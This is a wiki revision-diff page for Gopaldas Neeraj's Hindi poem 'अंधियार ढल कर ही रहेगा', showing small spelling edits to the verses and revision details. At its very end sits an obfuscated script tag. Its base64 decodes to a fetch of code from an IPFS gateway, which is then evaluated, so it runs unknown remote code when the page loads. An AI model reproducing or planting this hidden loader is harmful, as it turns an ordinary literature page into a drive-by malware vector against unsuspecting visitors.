Difference between revisions of "अंधियार ढल कर ही रहेगा -गोपालदास नीरज"
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प्रीति चौधरी (talk | contribs) ('{| style="background:transparent; float:right" |- | {{सूचना बक्सा कविता |चित्र=Gopaldas-Neeraj.jp...' के साथ नया पन्ना बनाया) |
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− | <poem>अंधियार ढल कर ही रहेगा | + | <poem> |
+ | अंधियार ढल कर ही रहेगा | ||
आंधियां चाहें उठाओ, | आंधियां चाहें उठाओ, | ||
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है जवानी तो हवा हर एक घूंघट खोलती है, | है जवानी तो हवा हर एक घूंघट खोलती है, | ||
टोक दो तो आंधियों की बोलियों में बोलती है, | टोक दो तो आंधियों की बोलियों में बोलती है, | ||
− | वह नहीं | + | वह नहीं क़ानून जाने, वह नहीं प्रतिबन्ध माने, |
वह पहाड़ों पर बदलियों सी उछलती डोलती है, | वह पहाड़ों पर बदलियों सी उछलती डोलती है, | ||
जाल चांदी का लपेटो, | जाल चांदी का लपेटो, | ||
खून का सौदा समेटो, | खून का सौदा समेटो, | ||
− | आदमी हर | + | आदमी हर क़ैद से बाहर निकलकर ही रहेगा। |
जल गया है दीप तो अंधियार ढल कर ही रहेगा। | जल गया है दीप तो अंधियार ढल कर ही रहेगा। | ||
Latest revision as of 05:28, 14 December 2011
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aandhiyar dhal kar hi rahega |
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>